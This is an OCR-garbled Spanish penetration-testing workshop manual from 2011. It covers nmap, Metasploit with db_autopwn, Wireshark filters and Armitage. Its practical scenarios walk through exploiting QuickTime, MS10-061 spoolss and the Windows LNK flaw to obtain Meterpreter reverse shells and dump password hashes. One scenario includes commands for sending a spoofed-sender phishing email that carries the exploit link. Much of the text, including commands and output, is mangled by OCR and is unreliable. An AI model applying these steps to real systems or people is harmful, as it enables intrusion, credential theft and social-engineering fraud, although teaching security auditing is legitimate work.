S8 fealioar pinpietal Quncon ~ PR EMES3-SA00 Parametros de nivel de detalle v depuracién

-v Incrementar el nivel de detalle --I'eAs0N MOTVOS POT Sistems ¥ PuUsTo

Técuicas de audlisis de puertos -d (1-9) establecer nivel de depuracion  --packet-trace s de paguetes

-s5 andlisis TCP SYN -sT analisis TCP CONNECT -sU andlisis UDP
-5Y anahsis SCIPINIT s Z COOKIE ECHO de SCTP -0 protocole IP cibiios iitacivag :
-sW ventana TCP =N —sF sXNULL FIN, XMAS —sA TCP ACK Qpiwv - mmentardismemair nivel de detalls del anglisis 1’@%.‘
&/D sumentar/disminoir nivel de depuracion ;
p/P activar/desactivar traza de pagquetes

Especificacién de puertos v orden de analisis

-p D-n rango -p- todos los puertos -p mm,z especificados

-p Usn-mz Timgn U para UDP. T para TCP -F rapido, los 100 commes Otras opciones
—top-ports n analizar los puertos mas unlizados -1 1o aleatonio —-resume file continuar analisis sbortade {tomando formatos de salida con -oN o -0G)

-6 activar analisis IPVG
-A agresivo, igual que con -0 -5V -sC —traceroute

£
o
i
e
3
&
7
o
>
Q
>
e
-
3
0
@
0

Duracion v ejecucion
-T0 paranoico -T1 sigloso -T2 sofisticade

-T3 normal -T4 agresivo -T5 locura Sai s, i . . i : =
X -sC realizar analisis con los scripts por defecto  —seript file gjecutar script (o todos)
—min-hostgroup —max-hostgroup 3 - =
i E --seript-args =v proporcionar argumentos
—min-rate —Imax-rate 2 ik o
- ; : --script-trace mostrar comumicacion entrante y salisnte
—min-parallelism —max-parallelism
—min-rtt-imeout —max-rtt-timeount --initial-rtt-timeout Formatos de salida
—max-refries —host-timeout --sean-delay -oN normal —oX MML -0G programable  —oA todos
Ejemplos

Analisis rapido nmap -T4 -F A o; ) 5
Analisis vapido (puerto 80) nmap -T4 --max 1t timeout 200 —initial it timeout 150 --min_hostgroup 512 --max retries 0 -n -P0 -p80 I:N]D:v 5
Anilisis de ping nmap sP -PE PP -P$21.13 25.80,113 31330 -PAR0,113 44310042 —source-port 53 T4

Exhaustivo lento nmap 55 SU-T4 -A v -PE PP -PS21,22.73.25,80,113,31339 -PAS0.113,443,10042 -PO —-script 21l
Trazado de ruta rapido nmap -sF -PE-P522,25.80 PAD] 23 80,3380 PU -PO —traceroute

Comandos en nmap
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Podemos realizar la incorporacion de los resultados en metasploit de dos formas
diferentes, la primera de ellas serd realizando directamente el escaneo por nmap y
volcando el resultado en un fichero xml

NMAP 192.168.1.80 -p1-65535 --open -0X c:\resultadonamp.xml

CIWIHDOWS 'system32\cmd.exe

Microsoft Windows XP [Uersion 5.1.26801
CC» Copyright 1985-20001 Microsoft Corp.

C:~Documents and Settings“Administrador>cd ™

C:x>nmap 192.168.1.88 —p1-65535 —open —oX civresultadonmap.xml

Escaneo de un host con nmap

El resultado en pantalla nos mostrara los puertos que estan abiertos

CoWIHDOWS 'system32'emd.exe

osoft Windows XP [Uersion 5.1.26081
(C>» Copyright 1985%-2001 Microsoft Corp.

C:~Documents and Settings~Administrador>cd

C:~>nmap 172.168.1.80 —pl1-65535 —open —o¥ c:wresultadonmap.xml

Starting Mmap 5.3BBETA1 ¢ http://nmap.org > at 201H-11-36 i1:41 Hora estbBndar r»o
mance

Mmap scan report for 192.168.1.88
Host dis uwup (B.B8AA17s latencyl.

Mot zhowun: 65538 filtewred ports,. 2 closed ports
PORT STATE SERVICE

13?2~ tcp open nethios—ssn

445-tcp open microsoft-ds

3389 -tcp open ms—term—seruv

MAC Address: @A:B83:FF:13:B2:2E (Microsoft)

Mmap done: 1 IP address <1 host up? scanned in 128.88 seconds
G2

Resultado escaneo nmap

Ahora nos interesara incorporar la salida del fichero xml a la base de datos de
metasploit.

Si consultamos el fichero de salida c:\resultatdonmap.xml vemos el resultado del
escaneo con formato de informe y lo incorporaremos a metasploit no sin antes copiar el
fichero a /tmp o sea en C:\Archivos de programa\Metasploit\Framework3\tmp
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=] Ciiresultadonmap.xml EIENEA o[-

archivo  Edicidn  Wer FEavoritos  Herramientas  Ayuda

e B (@ omopreport ‘ | B - i+ |-} Pédina = {J Herramientas =

nmap scan report - scan @ Tue Nov 30 11:41:53 2010 ‘ =

scan summary | scan info | 192.168.1.50 | runstats

scansummary ‘

192.168.1.80

ping results
srprasziras

address

ports

The 85520 ot scanred Bl oot shomn belon are in state: fltered
55530 ports repied nilh: no-responses

The 2 ports szanned Bul mot s below are in siste: cloed

2 ports replied with: resets

Fort State Ressan Product [version Extra info
5 [ep o —
22z | myrazk
3383 == |e=r syrack

Listo 4 Mi equipo H}75% -

Informe realizado con nmap

Db_import /tmp/resultadonmap.xml

Imr-:uzn rting
Importing |
Tully

Importacion de nmap a metasploit
Comprobamos los datos importados con

Db_hosts

HA bash

info  mac name

Muestra los hosts importados

Con db_services comprobamos los servicios abiertos del equipo objetivo

Muestra los servicios importados

Bernabé Muifioz (bmm@reus.tinet.org)
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Y con db_vulns vemos que vulnerabilidades tiene que en este caso al ser un
escaneo con nmap no muestra ninguna, con Nessus si que veriamos las vulnerabilidades
encontradas.

Si queremos ejecutar autpown comentado anteriormente mediante puertos abiertos

Db_autopwn —t —p —e —r

Lanzard la ejecucion de exploits por puertos de forma masiva lo que nos
devolvera todas las sesiones remotas que haya podido conectar

WT AUTHORITY

Sesiones obtenidas con autopwn

La otra forma de incorporar los resultados de nmap a la base de datos es
mediante el comando db_nmap, el cual ejecutandolo directamente desde la consola nos
incorporara automaticamente los resultados.
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Whireshark

Es una analizador de paquetes de red, es Opensource y podemos descargarlo de
http://www.wireshark.org/, es multiplataforma y esta disponible para Windows, Linux y
Mac utiliza las librerias winpcap, Su instalacion es muy simple

Una vez instalado si queremos empezar a capturar paquete accederemos al mena
capture/options y le daremos a start, a partir de este momento whireshark capturara las
comunicaciones entre el equipo local y el exterior, si quisiéramos capturar paquetes con
origen y destino distinto a nuestro equipo en una red conmutada tendremos que hacer un
ataque denominado arp spoof el cual consiste en envenenar las tablas arp para asi poder
establecer una comunicacion intermedia y realizar lo que se llama un ataque man in the
middle. Asi podremos capturar cualquier paquete que circule por la red.

" The Wireshark Network fnalyzer

File Edit Wiew Go Capture Analyze Statistics Telephony Tools  Help
PUWRMN DEXRE a+vswTalEElacaan gOmE|®

Filer! |

Ex

> Expression... Clear Apply

72l wireshark: Capture Dptions

Capur

Interfacs: |anal = | [Reahek RTLAI6i110 Family Gigabit Ethernst NIC

IF address: 10.0.1.116

COnline

Interface List

v lst o the <sprure imifaces fcourns incoming pacl

Start capture on Interfacs:

Link-layer header type:  Ethernet | ¥

[ Caphure packsts in pramiscuals mode

[T Capture packets in peap-na format (experimental)

Wlreless Sattings

Reriote Settinos

Website

st the project's wabsice

User's Guide

2] megabytes)

=

plisets] | he User's Guide local wersion,

T Adapter for generic dialup and YRH capture i installed)
{#] Broadcom Metstreme Gigabit Ethernet Driver (M
E Realtek RTLG16S/E1 10 Family Gigabit Ethernet .
G WMware virtus| Ethernet Adapter

(3 Mware virtual Ethernet Adapter

[ Limit each packet to |1 ::ibytes.
Capture Fier: | |

Capture Filel:

Becurity

ork with Wirashark 3z securely as possible

Display Options

File: |

Browse...

regsbytels 7

y [/ Update list of packets in real time
m Capture Options

[ use multiple Files
Start a capture with detailed options

F netfeevery i j
[T Hest Fleevery [0 j incte(s) =]
1 Rinig bufer with Iz—j files

I stopcoptreaften [L =iels)

¥ awtomatic seroling in live capture

[¥ Hide capture info dialog

Capture Hel

@ How to Capture

Mame Resclution

[ Enable MAT name resolution
Stop Capture ..

Step by step to a successful capture setup

T oafter 1 oty I Enable petwarkname resalutian
@ Network Media [ ooater [ j eub ey =
Specific information for capturing oni Ethemet, WLAM, -
[T it Il j o = [ Enable transport name resolution
il | ]

| Prafile: Default 4

[« do FroI3@d g s

()| Ready toload or capture | Ho Packets

&/ Inicio mlﬁ

:j’ MSVDM () ﬁ 200
Opciones de Metasploit

En el supuesto que la red tenga mucho trafico quizéds nos interesard filtrar los
paquetes, whireshark dispone de dos tipos de filtros:

% Pag 86
Bernabé Muifioz (bmm@reus.tinet.org)



TALLER AUDITORIA'Y PENTEST 2011

Filtros de captura:

Son los que definimos inicialmente antes de capturar los paquetes, podriamos
acotar por ejemplo la captura a un solo host (p.ej. host 192.168.1.10) o solo capturar un
puerto determinado (p.ej. port 80)

Ejemplos de filtro de captura

Captura solamente trafico con origen/destino a la ip 192.168.0.12
Operadores logicos:

Negacion: ! 6 not

Concatenacion: && 6 and

Alternancia: || 6 or

Captura solamente el host 192.168.0.12

Host 192.168.0.12

Captura solamente el puerto 80

Host 192.168.0.12
R—

Captura todos los paquetes menos broadcast y los multicast

Not broadcast and not multicast
S

Host origen

Src host 192.168.0.12
S

Host destino

Dst host 192.168.0.12

Capturamos determinado rango de puertos

Portrange 1-1024

Filtros de Display:

Los filtros de display son los que mientras realizamos una captura o esta ya se ha
realizado podemos aplicar:
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Comparacion:

Igual a: eq o ==

No igual: ne o =
Mayor que: gt 0 >
Menor que: It o <
Mayor o igual: ge 0 >=
Menor o Igual: le 0 <=
Combinacion:
Negacion: ! o not
Unién: && o and
Alternancia: || o or
Contains: Buscamos por cadena
Ejemplos:

Ip.addr==192.168.1.80

Filtra exclusivamente los paquetes de origen destina de la ip seleccionada.

Tcp.port==80

Filtra el puerto 80 del protocolo tcp

http contains www.fut.es

Busca en el protocolo http los paquetes que contienen la Url indicada.

Frame contains “@correos.es

Busca en los frames (paquetes) el las direcciones de correo del dominio correos.es.
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Whireshark dispone de un asistente de filtros del cual podemos hacer uso.

"' wireshark: Filter Expression - Profile: Default

Field narne Relation Yalue {unsigned, 2 bytes)
) Al s present IED|
TANGO - Tango Dissector Using GIOP APT __ Prodefined valuss:

TAPA - Trapeze Access Point Access Protocol =
TAPI - Microsoft Telephany API Service N
TCANY - TwinCaT My -
TCAP - Transaction Capabilities spplication Part -
= TCP - Transmission Control Protocol -

tCpasrcport - Source Port

top.dstport - Destination Part

top.port - Source or Destination Port o

tcp.stream - Strearn index

trpaseq - Sequence number LI Range (offset:length)
d | ol |

(0] 4 Cancel

Filtros de captura whireshark

El objetivo del curso no es estudiar a fondo la usabilidad de whireskark por lo
que recomiendo que busquéis informacion de la herramienta capturéis y comprobéis por
VOsOtros mismo su potencia.
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Armitage

Armitage es un entorno grafico creado para metasploit, donde visualiza los
equipos, exploits, payloads a usar graficamente.

Esta creado para los practicantes en seguridad que entienden la filosofia de
metasploit pero no lo usan a diario.

Es multiplataforma i requiere de:

Java 1.6.0+
Metasploit 3.5+

Una base de datos de informacion para conectarse

Para poder conectarse a Armitage sera necesario conocer el usuario y password
de la base de datos de metasploit, ejecutamos los siguiente:

Msfr> load xmlrpc w

Carga configuracion Base de datos

Ejecutaremos Armitage.exe y nos conectaremos a la interfaz del programa, el
cual no deja de ser un interfaz graficos de los comandos de metasploit.
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m Connect... !E E
Host 127.0.0.1
Port 55553
[ | Use 550
Lzer rnsf
FPass Fmnyd A9
DE Driver sglite3 W
DE Connect String L?_|
| Connect | | StartMSF | | Exit |

Conector con Metasploit

[ Armitage B

Armitage  Yiew Hosis  Aftacks  Workspaces Help

(G auiliary
v [ exploit

* (& payioad

Console X

+ —— ——=[ 637 exploits - 314 auwx:

+ —— ——=[ 215 payloads - 27 encoders -
=[ svn r11392 updated today (2010.12.21)

Entorno de Armitage

Seleccionaremos el exploit a utilizar
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Armitage  View Hosis  Aftacks  ‘Workspaces Help
v [ smn LS

[ msD3_048_netapi

L ms04_007_killbill

| I ms04_011_lsass

05_039
=l dgi i Microsoft Server Service Relative Path Stack Carruption
I ms06_025_rasmans_req

] ms06_025_rras This module exploits 2 parsing flaw inthe path canonicalization code of NetAPI32.dll through the
rms06_D40_netapi Setver Semice. This module is capable of bypassing N on some aperating systems and service
= ) packs. The correct target must be used to prevent the Server Service (along with a dozen others in the
ms06_06B_nwapi
e same process) from crashing. Windows XP targets seem ta handle multiple successful explaitation
[ ms06_086_minuks s siinrisl oA R nalntsalatran i :
I ms0B_070_whkssve Option A Valle
29_rnsdns_zonen. LPORT 17529
I Y o .165.1.60
[ ms09_0&0_smb2_negotial RPORT 445
|| me10_061_gspoolss SMBFIPE BROWSER
|| netidentity_dierrpcpipe Targats: ‘ 0 == Autamatic Targeting
[ psexec
5 smb_relay ] Use areverse connection

| timbuktu_plughntcomman

[ Show advansed options
» (55 smip

| Launch |

=[ metasploit v3.6.0-dev [core:3.6 api:l.0]
637 exploits - 314 auxiliary

i wnicio| [ 14 5, wsvor @) [0 @ © @ | |« Bl 5= @ ® DM 1200

Configuracion de un exploit

Configuraremos y ejecutaremos el exploit

Armitage  Wiew Hosts  Aftacks  Workspaces  Help
¥ [ omh )

|1 ms03_049_netapi

[ msn4_oo7_inbil

[ ms04_011_lsass

| ms04_031_netdde

|1 me05_039_pnp

[ ms06_025_rasmans_reg

[ ms06_n26_rras

[ ms06_040_netapi

| ms0B_0&6_mwapi

[ m306_06B_rwnks

[ ms06_D70_whkssve
29_msdns_zonen:

| " ms08_050_smb2_negotial

[7) ms10_061_spoolss

[ netidentity_xtierrpepipe
Reexec

|| smb_relay v

=[ metasploit v3.6.0-dev [core:3.6 api

[ 637 exploits - 314 auxiliary
215 payloads - 27 encoders - 8 nops
syn 111392 updated today (2010.12.21)

[*] Meterpreter session 3 opened (192.168.1.59:17529 -> 192.168.1.80:1050) at 2010-12-22 12:01:06 +0100

@/ Inicio | | # mvon @090 B «ZdsveZeom 120
Sesion meterpreter en Armitage

Nos devolvera una sesion remota de meterpreter
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Armitage  View Hosis  Aftacks  ‘Workspaces Help

v & smb £}
[ ms03_049_netapi I
[ ms04_007_kilbill »

| I ms04_011_lsass

[ msn4_o31_neteie

[ ms05_038_pnp
ms0B_025_rasmans_reg
|| me06_025_rras

[ ms06_n40_netapi

[ msDB_DGE_nwapi

[ msD6_DBE_mwnwks

I ms0B_070_whkssve

| | ms07_028_msdns_zonen

_netagi

[ msn9_n50_smb2_negotia
[ me10_081_spooles
|| netidentity_xtigrrpcpipe

| psexec
[ smb_relay
| timbuktu_plughnicommane
» (55 smip
> [ ssh 1 =
¥ s uplicate
o _LE] Explore H
Piwvoting
| MSF Scans
. | K
| console % | Credentials X =
| user 4| pass | host |
Administrador aael3eac?! 76f53aeadsf7 A7 8d169 b0e0d3671f8047fce3e0526cMB0f4 . 182 1681 80
|A5l5tenle de 1921681 80 |
bema ccdB4e2f20030caaad3b435051404ee d9528dcalfad?889a20963d70b4a . 192 1681 80
| Invitado aad3h435ha1404eeand3hd35051404ee:31dBcfe0d Bae931h73c59d7e0... 192168180 |
| mhsa Sbheesi4dbdriadiaad3hd3shs1404ee:306351918cedGabr abr2Zeec 56, 192.168.1.80

Export

1203

|« Bl 5= @LIE D

@ nicio| [ M a.

wvon ©)0 @ © @
Obtencién de credenciales en Armitage
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Escenarios practicos

Los siguientes ejemplos pretenden mostrar como auditar las vulneralidades del
sistema en todo su proceso y ensefiando las diversas formas con las que podemos
obtener acceso a el.

Quicktime 7.6.7

Queremos obtener acceso al sistema mediante un software vulnerable, en esta
ocasion usaremos quicktime player en su version 7.6.7.

/2 CVE - CVE-2010-1818 (under review) - Windows Internet Explorer [_[=]x]

@ DL [& hetp ffeve.mitre crgicgi-binjevename.coPrame=2010- 1618 e L+

fechiva  Edicién  Ver Favoritos  Herramientas  Ayuda

e 4 4 CVE - CE-2010-1818 (undar raviow) || o 8 - [ Pégina + £} Herramiertes - 7
ve Printer-Friendiy View  USE
it C Data Upd
ts C F:
CVE-2010-1818 Learn more at National Vulnerability Database (NVD) R
(under review) + Severity Rating « Fix Information « Vulnerable Software Versions » SCAP Mappings \1
: es( n 5
ivD The IPersistPropertyBag2: :Read function in QTPlugin.ocx in Apple QuickTime 6.x, 7.x, and other versions allows remote attackers to execute arbitrary code f‘
via the _Marshaled_pUnk attribute, which triggers unmarshaling of an untrusted pointer. 171=mf|=r‘
Editorial
Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete. About CV
. ITEMS Ol
Events » MISCihttp:/ithre Terminolo
i » MISCihttps://u s/browser/apple guicktime marshaled punkrb| |MVP
Vsletter
nity
orial Board
us Candidate This CVE Identifier has "Candidate" status and must be reviewed and accepted by the CVE Editorial Board before it can be updated
e site to official "Entry” status on the CVE List. It may be modified or even rejected in the future,
Assigned (20100506)
Candidate assigned on 20100506 and proposed on N/A
SEARCH CVE USING KEYWORDS: Submit
You can also search by referance using the CVE Referance Maps.
J END MNDE TNEADMATIOAN-  ~a@mitra nrn | 4,;‘
‘ »
&, | Error en la pégina. @ Internet H100% -
Rinico| [ @Ec. Hweno0o00 EJIPEEIFEIREETY Tol- LT BT

Iniciaremos metasploit i buscaremos el exploit que nos interesa.

Ejecutamos en la consola “search Quicktime” y nos devuelve los exploit disponibles

ern 'quicktime'...

Seleccionaremos “use Windows/browser/apple quicktime marshaled punk”,
con el metodo browser, y desde un servidor web creado temporalmente por metasploit
crearemos una pagina maliciosa mediante la cual al conectarse la victima ejecutara el
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exploit, el método de envio dependerda de como querais desplegarlo, nosotros lo
haremos mediante un correo enviado con el link.

Configuraremos los valores de metasploit como la direccion del servidor web, el
payload que en nuestro caso usaremos meterpreter, y ejecutamos el exploit.

Ahora mediante cualquier tipo de ingenieria Social enviaremos el enlace de descarga del
exploit

Crearemos un correo con la padgina maliciosa con
Mpack —s “Oferta” —d body.txt —c application/htm —o body.msg apple.htm
Esto nos empaquetara el cuerpo del mensaje y ahora procederemos al envio del correo

con “ bmail —s 192.168.1.59 —t berna@hotmail.com —f ofertas@applestore.com —h —m
body.msg”

Ahora nuestra victima recibira el correo siguiente:

==l
G

8 &

Respondsr  Responds...

5 Mensaje

48

Reenviar

= .

Erviar ¥ 1.,

X I

Eliminar

= e
Imprimir Direcciones Buscar

Carpetas X I _!' e - [ l Recibido &
13 Outlook Express | Oferta =101x| 2912/t
EI@ Carpetas locales ‘ Archivo  Edicidn  Yer Herramisntas Mensaje  Avuda ‘ o 29/1z]21
{4 Bandeia de entrada = = 210521
.58 Bandeja de sdlida v & w8 = X 21fostz
B Elementos enviados | Responder Responde...  Reenviar Imnprinir Elimiriar 21/os/2
-{3 Elementos eliminados (3) De: ofertas@applestore.com 1502
4B} Barradar Fecha: miércoles, 23 de diciembre de 2010 10:08 L5[4]2
Para: berna@hotmail.com g:fg?‘gl
Asunto: Oferta (- 28;03;2:
Adjuntar: LR HNERET i b
] 1 z
Dy r&
At
Contactos = ®|
Mo hay contactos que mostrar, Haga clic en
Contactos para crear Un contacko nuewo,
b
I 4 ES =

!40 mensajes, 0 noleidos

@ o coneidn |

& lnicinI %3 Bandeja de entrada- Ou,.. | (5 Oferta

R ® o
E « &) 0 e

Bernabé Muifioz (bmm@reus.tinet.org)
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www.apple.es - Microsolft Internet Explorer

Archiva  Edicidn  ¥er Favoritos  Herramientas  Ayuda

5 thE v ed ‘ﬂ :EI ;',‘/ ! Blisqueda i W o L. ﬁ “:‘5

Direccidn |@ Ct\Documents and SettingsiAdministradoriConfiguracidn localiarchivos temporales de Intarnatl,Content.IES\EXANOPZR\app\e.hIﬂ ﬂ Ir | inculos *

Fawvoritos 6-‘"

-

| Sopol

iPod JiPhane.

4
i@ Descarganda desde el sitio: file: /i Documents and SettingsiAdministradorConfiguracion locallArchivos tam|i_ l_ ’_ l_ ’_ﬁ Iaamat

E = - _—
@ Inlclo! .5;] Bandeja de entrada - Ou... | (=) Oferta | @ www.apple.es - Micro... REE

Y al pulsar en enlace nos devolverd la consola de meterpreter
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Microsoft spoolss

En el siguiente ejemplo usaremos una vulnerabilidad en un error en la validacion
de los permisos de acceso en la cola de impresion, con lo cual el exploit seleccionado
enviara una solicitud de impresion manipulada por el servicio de RPC ejecutando
codigo arbitrario.

Si miramos las alertas del centro nacional de inteligencia www.ccn-cert.cni.es
podemos encontrar la vulnerabilidad y su descripcion, Microsoft la codifica con el
numero ms10-061, que en este caso es por donde buscaremos en metasploit el exploit
afectado

tines de Vulnerabilidades - Windows Internet Explorer

& = [T st conecrt.cn ssindex, shpropton=som. ¢ = e ; £l
Archiva  Edicidn  Ver Favoritos  Herramientas  Ayuds

. . -
V¢ @ [TEecleties de uinerabiidades I ‘ Fir -~ ) - fh - [SpPaging -+ £ Herramisntas «

BOLETINES DE VULNERABILIDADES

Eecucitn remota de cédigo en e servicio Print Spooler de Microsaft

Clasificacién de la vulnerabilidad

Rizsgn

s del stacante

in servicio estandar

Informacién sobre el sistema

Cursoonlmc A T

VA MULTIANTIVIRUS

saaP,

ey
Q@i‘- TRUSTED

=

@ Internet ®100% -

Biicio| A1 | @a.|[&e.. j wsvon @) 9 @ © @ B« @ 5% BB o

Ejecutamos “search ms10-061”

Configuraremos las opciones correspondientes y ejecutaremos el exploit que en
este caso no hay que hacer uso de ningun tipo de ingenieria inversa ya que es una
conexion directa.
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Ejecucion de codigo en Windows Shell

Se ha descubierto una vulnerabilidad en Windows Shell en Microsoft Windows
XP SP3, Server 2003 SP2, Vista SP1 y SP2, Server 2008 SP2 y R2 y Windows 7. La
vulnerabilidad reside en un error en la forma en que Windows Explorer muestra un
icono de acceso directo.

Un atacante podria ejecutar coédigo arbitrario mediante un fichero .LNK o .PIF
especialmente manipulado.

La informacién la hemos obtenido de http://ccn-cert.cni.es en la seccidn de alertas

/2 Boletines de Vulnerabilidades - Windows Internet Explorer

@\:}v I hetpsijunann cenecert cries find

archivo  Edicién wer Favoritos  Herramientas  Ayuda

S8 4] %] [re o

orn_vulner

| | % - B - & - [ pagna -
BOLETINES DE VULNERABILIDADES ;I

lang=es

= -
W% &[5 poletines de Winerabiidades 5 Herramientas =

Eecucién de cédigo en Windows Shell

Volver

BOLETINES RESTRINGIDOS (2

Clasificacion de la vulnerabilidad

ESTADISTICAS

A

SISTEMA MULTIANTIVIRUS

maviF,

MENCIONES

Riesgo Wedio
Nivel de Corfianza Oficial
impacto Obtener acceso
Dificultad Experto

Requenmiertos del atacanie Aceaso remoto sin cuenta 3 un servicio estandar

Informacién sobre el sistema

Plataforma afectada Microsoft

Microsoft Windows XP SP3

Microsoft Windaws Server 2003 SP2
Microsoft Windows Vista 5P 1y SP2
Microsoft Windows Server 2008 §P2y R2
Microsoft Windows 7

Software afectado

Descripcién
S¢ ha descublerto ana vinerabilidad en Windows Shel en MicrosoR Windows XP SP3, Server 2003 SP2. Vista SP1 v SP2, Server 2008 SP2y R2y Windows 7.
La vulnerabiidad reside en un emor en a forma en que Windows Explorer muestra un icono de acceso directa

Un atacante podria efecutar cidigo arbitrario mediante un fichero LNK o PIF especialmerte manipulado

Solucion

Actuzlizacién de software

Microsoft (2286138)

Actuzimente no exste ningln parche dispenible.

Sin embargo las siguientes acciones ayudan a bloguear algunes métodos de atague conocides: Deshabiltar [ visualizacién de iconos para accesos directos. y
deshabiltar £l servicio WebClisnt

Wirrrsnft IMGTN4RY

[Listo

=
4

[T T [@ntemet EEY

|
B [«# 5 dEEE I8 8Ee oy, na

perd podemos comprobarlo también en el siguiente enlace
http://www.securityfocus.com en search all vulnerabilites, realizaremos la busqueda por
sistema operativo y el codigo cve que nos proporciona la info de metasploit.
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/2 SecurityFocus - Windows Internet Explorer BEER
0

K~ [E remuiiomm securtyfocus.comfvner ities =[] =] [

il & pasn BEE e =
2k Pégina = {3 Herramientas =

< SecurityFocus *

Symantec Connect
A technical community for Symantec custos

& SecurityFocus x

Join the rsation »

Vulnerabilities

SelectVendor
Title: Select Title =
Version: SelectVersion x

Search by CVE
CVE:

Vendor:

mation:

11
12010-2563 i
Submit i

Apache Subversion Server Componeni i

htt securityfocus.com/bid/45655

Microsoft Windows 'CreateSizedDIBSECTION()' Thumbnail View Stack Buffer Overflow Vulnerability

hitp:/fwww.securityfocus.com/bid/45662

Linux Kernel 'net/' Subsystem Socket Filter CVE-2010-4161 Local Information Disclosure Vulnerability

htt w.securityfocus.com/bid/45064

Xen 'blkback/blktap/netback' Leaked Kernel Thread Local Denial Of Service Vulnerability _‘

@ Internet. & 100% ~

Bnicio| | H1p.. G2vr| B | @5 | D26 ﬂmsvnm o000 ||« 5‘,5”3_‘@@ D@eESomMy, 32

En securityfocus publican los exploit que hayan salido para las pruebas de concepto.

les Automatic File Execy indows Internet Explorer

~ [E2 httpisfummr. securityfocus. combid 41732 exploit R E]

frchiva  Edicién  Wer Favoritos  Herramientas  Ayuda

& &

 About x Contact

Symantec Connect e e
A technical community for Symantec mwm’rs, d-users, developers, and partners,”
/. Ll L

Join the rsation »

“info || discussion || exploit ‘ solution references
Microsoft Windows Shortcut 'LNK/PIF' Files Automatic File Execution Vulnerability
To exploit this issue, an attacker must entice an unsuspecting user to view an icon of a maliciously crafted shortcut file.
This issue is being exploited in the wild with W32.Stuxnet (previously known as W32, Temphid)
Immunity has released the following exploit to members of the Immunity Partners program:
https://www.immunityinc.com/downloads/immpartners/winshell_Ink.tar.gz
The following exploits are available:

» /data/vulnerabilities/exploits/41732.rar
» /data/vulnerabilities/exploits/41732.rb

@ mntermet H100% -

imicio] "o | 2y Be. [[En. D26 A 0@ 0O H |« ;!;’.HIE!E] SD@@ESDMY, 23

Y también en el siguiente enlace http:// www.exploit-db.com
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/2 Microsoft Windows Automatic LHK Shorteut File Code Execution - Windows Internet Explorer

@;}v BB e tvmmn. explait-db.camfexplois/ 14403 | ‘1 % [aoale B~

archivo  Edicién wer Favoritos  Herramientas  Ayuda

\ = B - »
W0 & MW Mcrosaft Windows Automatic LK Shorteu Fll Cade .. 3~ ) - @ v |52 Pagina ~ i Herramientas =

Microsoft Windows Automatic LNK Shortcut File Code Execution B O ool A B
Create database & reporting apps straight from
- your database! Try it
EDB-ID: 14402 CVE: 2010-2568 QSVDB-ID: 66387 j!hdng e Securily.-v- Training Video_s tnuggets .
) '—"—'—‘ riees Get certified & get a better job 11 hours Security+
Author: Tvantefou  Published: 2010-07-18  Verified: ¥ loveralt © € © © © oy training - $299
Exploit Code Vulnerable App: N/A ‘ =l - Patch Management Software i n-asle.com
| | Support any network device anywhere Try N-
: - - F - central® Free Now!
| Previous Exploit | | Home | | NextExploit |
Stop Top 10 DB hacks www.impers . thres
Defend against top 10 common hacks Download
free Whitepaper today! =
s by Google}
From: http://www.ivanlefou.tuxfamily.org/?p=411 e e

1. Unzip the files in 'C: \'. Start a DbgView or paste a KD to your WM.
2. Rename ‘suckme.lnk ' to ‘suckme.lnk’ and let the magic do the rest of shell32.dll.
3. Look at your logs.

http://ivanlefeu.nibbles.fr/repo/suckme. rar
http://www.exploit-db.com/sploits/suckme. rar

Tested under XP SP3.

kd> g

Breakpoint 1 hit

2ax=80068001 ebx=@8f5ee7c ecx-@80BC666 odx-B0260063 esi-0BBERBE1 edi-7c8Babesd
eip=7ca78712 esp=88f5e9cd ebp=0efSecls iopl=8 nv up ei pl nz na po nc
Cs=861b s55-8023 ds=0023 es=0023 fs-003b gs-@000 efl-g0000202

SHELL32! LoadCPLModule+Bx18d:
eelb:7ca78712 ff15a0159d7c call dword ptr [SHELL32! imp_ LoadlLibraryW (7c9d15a8)] ds:ee23:7c9d15ae={kernel32!LoadLibraryl (7c8@aeeb)}

kd> dd esp -
T e e e e | _»F‘

[ 1i2] Listo pero con errores en la pagina, [ [ e mternet (R -

Bimicio| Zi1b_ | 2v-| Do [[Em. 226r] Hwen @ OO OO =N B [CIEE=T el ] e

Cuando ya hemos recopilado la informacion posible y ayudandonos de
metasploit vamos a acceder al sistema.

El exploit se arma mediante la tecnica de brower lo que crearemos un servidor
web que entregara el exploit cuando la victima pinche el enlace, el cual serd enviado por
los medios posibles y que no llamen mucho la atencion.

Los valores a configurar son los siguientes:

Set srvhost 192.168.1.59

Set srvport 90

Set uripath “estrenos”

Set payload Windows/meterpreter/reverse _tcp
Set lhost 192.168.1.59

Y ejecutamos el expoit
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none

1t running a
1t
handler on

i
nding dir

192,16
OPFIND v

Podeis comprobar que metasploit nos ha devuelto una consola meterpreter.
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vo Edidén Ver Favoritos  Herramientas  Ayuda | 3}"

B
@Abéb - @ * Lﬁ pBL'lsquada- lE_" Carpetas .‘vr

Direcritn |5 11192.168. 1.59sugy B |‘-'\;iﬁ€u|m‘_s‘ 3

akEpEF
Acceso directo % MDYMRSHERy . dil
1KE

Tareas de archivo y carpeta  #

;? Crear nueva carpeta
@ Publicar esta carpeta en Web

»

DOkros sitios

i 192.168.1.59

@ Mis documentos

|55 Documentos compartidas
'g Mi pC

&) Mis sitios de red

Detalles ¥

ﬁxnic‘i'u] |5 sug¥en 192.168.1.50 .. B« d 255
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Adobe flashplaver

En esta ocasion el protagonista es adobe en su advisorie de 29 de junio de 2010
nos informa de una vulnerabilidad en la version de Adobe Flash Player 10.0.45.2 en el
siguiente enlace ,

http://www.adobe.com/support/security/advisories/apsal0-01.html

2 Adobe - Security Advisories: Security Advisory for Flash Player, Adobe Reader and Acrobat - Windows Internet Explorer

adobe, comfsupport fsecurity advisaries apsal 0-01,html _:_I ‘1‘; A |'-..=;,:_m5 B

Archivo  Edicidn  Ver Favoritos  Heramientas  Ayuda
\ e - 1 ' - »
W& ﬂ Adobe - Security Advisories: Security Advisory for Fla... } l ﬁ » [ - ® ~ rPégnia » { Herarientas

£

Security bulletin

Security Advisory for Flash Player, Adobe Reader and Acrobat
Release date: June 4, 2010

Last updated: June 29, 2010
Vulnerability identifier: APSA10-01
CVE number: CVE-2010-1297
Platform: Al

SUMMARY

A critical winerability exists in Adobe Flash Player 10.0.45.2 and earlier versions for Windows. Macintosh, Linux and Solaris
operating systems, and the authplay.dll component that ships with Adobe Reader and Acrobat 3.x for Windows, Macintosh
and UNIX operating systems. This vulnerability (CVE-2010-1297) could cause a crash and potentially allow an attacker to take
control of the affected system. There are reparts that this vulnerability is being actively exploited in the wild against bath
Adobe Flash Player, and Adobe Reader and Acrobat

